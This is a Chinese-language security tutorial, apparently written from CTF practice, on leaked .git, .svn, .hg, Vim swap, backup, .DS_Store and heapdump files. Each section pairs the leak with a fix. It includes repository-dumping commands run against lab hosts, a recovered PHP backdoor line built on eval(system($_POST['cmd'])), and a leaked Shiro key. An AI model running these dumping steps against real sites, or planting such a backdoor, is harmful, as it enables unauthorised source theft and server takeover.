Git文件泄露
简介
Git泄露是指在使用Git版本控制系统时,由于配置不当或者操作失误,导致敏感信息(如密码、密钥、源代码等)被意外地上传到公开的代码仓库或者其他公开可访问的地方,从而被未授权的人获取到。
Git泄露危害
正如简介所说,在配置不当的情况下,可能会将“.git”文件直接部署到线上环境,这就造成了git泄露问题。
攻击者利用该漏洞下载.git文件夹中的所有内容。如果文件夹中存在敏感信息(数据库账号密码、源码等),通过白盒的审计等方式就可能直接获得控制服务器的权限和机会!
利用
工具下载连接:
https://github.com/internetwache/GitTools
目录扫描判断是否有.git
文件泄露
dirsearch -u http://node4.anna.nssctf.cn:28221/ -i 200
[01:59:30] 200 - 5B - /.git/COMMIT_EDITMSG
[01:59:30] 200 - 137B - /.git/config
[01:59:30] 200 - 73B - /.git/description
[01:59:30] 200 - 23B - /.git/HEAD
[01:59:30] 200 - 209B - /.git/index
[01:59:30] 200 - 240B - /.git/info/exclude
[01:59:30] 200 - 147B - /.git/logs/HEAD
[01:59:30] 200 - 147B - /.git/logs/refs/heads/master
[01:59:30] 200 - 41B - /.git/refs/heads/master
[01:59:41] 200 - 0B - /flag.php
爬取仓库的git文件
./gitdumper.sh http://node4.anna.nssctf.cn:28221/.git/ githack
[*] Destination folder does not exist
[+] Creating githack/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
还原整个代码仓库和查看历史
git checkout .
git log
git show
```
ls
flag.php index.php reports
修复
不要把.git文件暴露在网站根目录下
阻止访问 .git
目录
svn泄露
简介
[!NOTE] SVN是什么
SVN(Subversion) 是一种版本控制工具,类似于 Git,用于跟踪源代码的更改。
SVN 会在每个版本库目录中生成.svn/
隐藏目录,里面包含了该目录下所有文件的版本信息。
SVN
泄露通常指的是 Web 服务器部署时 错误上传了 Subversion 版本控制系统(SVN)的元数据目录 .svn/
,导致攻击者可以还原网站源码,获取敏感信息,甚至构造进一步攻击。
SVN 泄露危害
攻击者可以通过 .svn/
目录中保存的元数据,还原出源码文件,从而:
获取配置文件(如
config.php
、.env
)查看源码逻辑,发现漏洞(如 RCE、SQL 注入)
获取敏感路径、后台入口、账号密码等
利用
工具:
https://github.com/admintony/svnExploit
扫描到.svn直接用工具去下载源码
____ _____ _ _ _
/ ___|_ ___ __ | ____|_ ___ __ | | ___ (_) |_
\___ \ \ / / '_ \| _| \ \/ / '_ \| |/ _ \| | __|
___) \ V /| | | | |___ > <| |_) | | (_) | | |_
|____/ \_/ |_| |_|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
SvnExploit - Dump the source code by svn
Author: AdminTony (http://admintony.com)
https://github.com/admintony/svnExploit
+--------------------+----------+------------------------------------------------+
| 文件名 | 文件类型 | CheckSum |
+--------------------+----------+------------------------------------------------+
| index.html | file | $sha1$bf45c36a4dfb73378247a6311eac4f80f48fcb92 |
| flag_510328456.txt | file | None |
+--------------------+----------+------------------------------------------------+
[+] 已经Dump完成!
修复
| 操作 | 方法 |
| —————- | ————————————- |
| 禁止访问 .svn/
目录 | nginx/apache 拦截 .svn
|
| 清理 .svn/
元数据目录 | 部署时使用 rsync --exclude='.svn/'
、CI/CD |
Hg泄露
简介
[!NOTE] Mercurial是什么
Mercurial 是一个分布式版本控制系统,命令行为hg
,与 Git 类似。项目的所有提交记录、文件历史、分支信息等都存储在.hg/
目录中。Hg 和 Git 一样,如果.hg/
目录暴露在 Web 服务器上,就可能泄露整个项目源代码。
Hg 泄露 是指 Web 服务器将包含敏感数据的 .hg/
目录暴露给了公网用户,攻击者可以通过访问或下载该目录来恢复整个源代码仓库,从而分析业务逻辑、找出漏洞点甚至获取密码等敏感信息。
Hg泄露的危害
攻击者绕过任何认证机制,直接拿到开发者内部视角,分析业务逻辑、发现安全漏洞、横向扩展攻击。
利用
利用.hg泄露可以用到一个工具dvcs-ripper
下载地址:https://github.com/kost/dvcs-rippe
#漏洞利用的代码
perl rip-hg.pl -v -u http://www.test.com/.hg/
修复
移除 .hg
目录的 Web 访问权限
Vim文件泄露
简介
Vim 文件泄露指的是 Vim 编辑器在保存、编辑文件时生成的一些临时文件或备份文件被意外暴露,攻击者可利用这些文件获取源代码、配置、密码等敏感信息,常见于 Web 目录下误上传的情况。
常见文件后缀名:
|文件名类型|说明|泄露风险|
|—|—|—|
|.filename.swp
|Vim 的交换文件(swap)|包含编辑中的内容,可能包含源码、口令等|
|.filename.swo
|辅助交换文件|与 .swp
类似|
|.filename.swn
|多个 Vim 实例时的交换文件|同样可能包含敏感信息|
|filename~
|备份文件(backup)|完整的旧版本文件内容|
|.filename.un~
|Undo 备份|用于撤销操作的历史信息|
|.filename.swp.swp
或 .swpx
|较新版本 Vim 格式|一样可能被利用|
危害
- 源码泄露
- 敏感信息泄露
- 数据库账户和密码泄露
利用
进行vim -r
或者strings
进行文件恢复
strings .index.php.swp
b0VIM 9.0
kali
s1rius
/d/CTF/LitCTF/vim/index.php
utf-8
U3210
#"!
</body>
</main>
</div>
?>
}
eval(system($_POST['cmd']));
echo "<p>Oh You got my password!</p>";
if ($_POST['password'] === base64_encode($password)) {
echo "<p>can can need Vim </p>";
$password = "Give_Me_Your_Flag";
error_reporting(0);
修复
- 检测目录,并把这些交换文件进行删除
- 禁用 Vim 自动生成临时文件
网站备份文件
简介
在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
常见泄露后缀:
.rar
.zip
.7z
.tar.gz
.bak
.txt
.html
危害
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。
利用
下载压缩包文件,对解压出的源码,进行代码审计
修复
删除存在的压缩包文件
.DS_Store文件泄漏
简介
它本是 macOS 系统自动生成的文件,但一旦出现在 Web 根目录并被访问,攻击者可能借此列目录、发现隐藏文件、下载敏感内容,甚至进一步入侵服务器。
危害
- 🧭 目录结构泄露
- 🔍 发现敏感文件
利用
工具下载:https://github.com/lijiejie/ds_store_exp
hd.zj.qq.com/
└── themes
└── galaxyw
├── app
│ └── css
│ └── style.min.css
├── cityData.min.js
├── images
│ └── img
│ ├── bg-hd.png
│ ├── bg-item-activity.png
│ ├── bg-masker-pop.png
│ ├── btn-bm.png
│ ├── btn-login-qq.png
│ ├── btn-login-wx.png
│ ├── ico-add-pic.png
│ ├── ico-address.png
│ ├── ico-bm.png
│ ├── ico-duration-time.png
│ ├── ico-pop-close.png
│ ├── ico-right-top-delete.png
│ ├── page-login-hd.png
│ ├── pic-masker.png
│ └── ticket-selected.png
└── member
修复
删除.DS_Store文件
heapdump
简介
heapdump
泄露是 Java 应用(如 Spring Boot)中一个严重的敏感信息泄露问题,一旦被攻击者下载 .hprof
(Java 堆内存转储文件)
危害
用工具进行分析heapdump
文件,可能会暴露Shiro框架的用户名和密码或者key,key的话可以进行测试shiro反序列化漏洞,常暴露 /heapdump.hprof
或 /actuator/heapdump
接口
利用
工具分析出的ShiroKey
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = fBLM7VmgDVr7Rs6FMEIa4g==, algName = **AES**
后面可以用工具进行测试
修复
禁用或加固 Heap Dump 入口
# application.yml 配置示例
management:
endpoints:
web:
exposure:
exclude: heapdump # ✅ 禁用 heapdump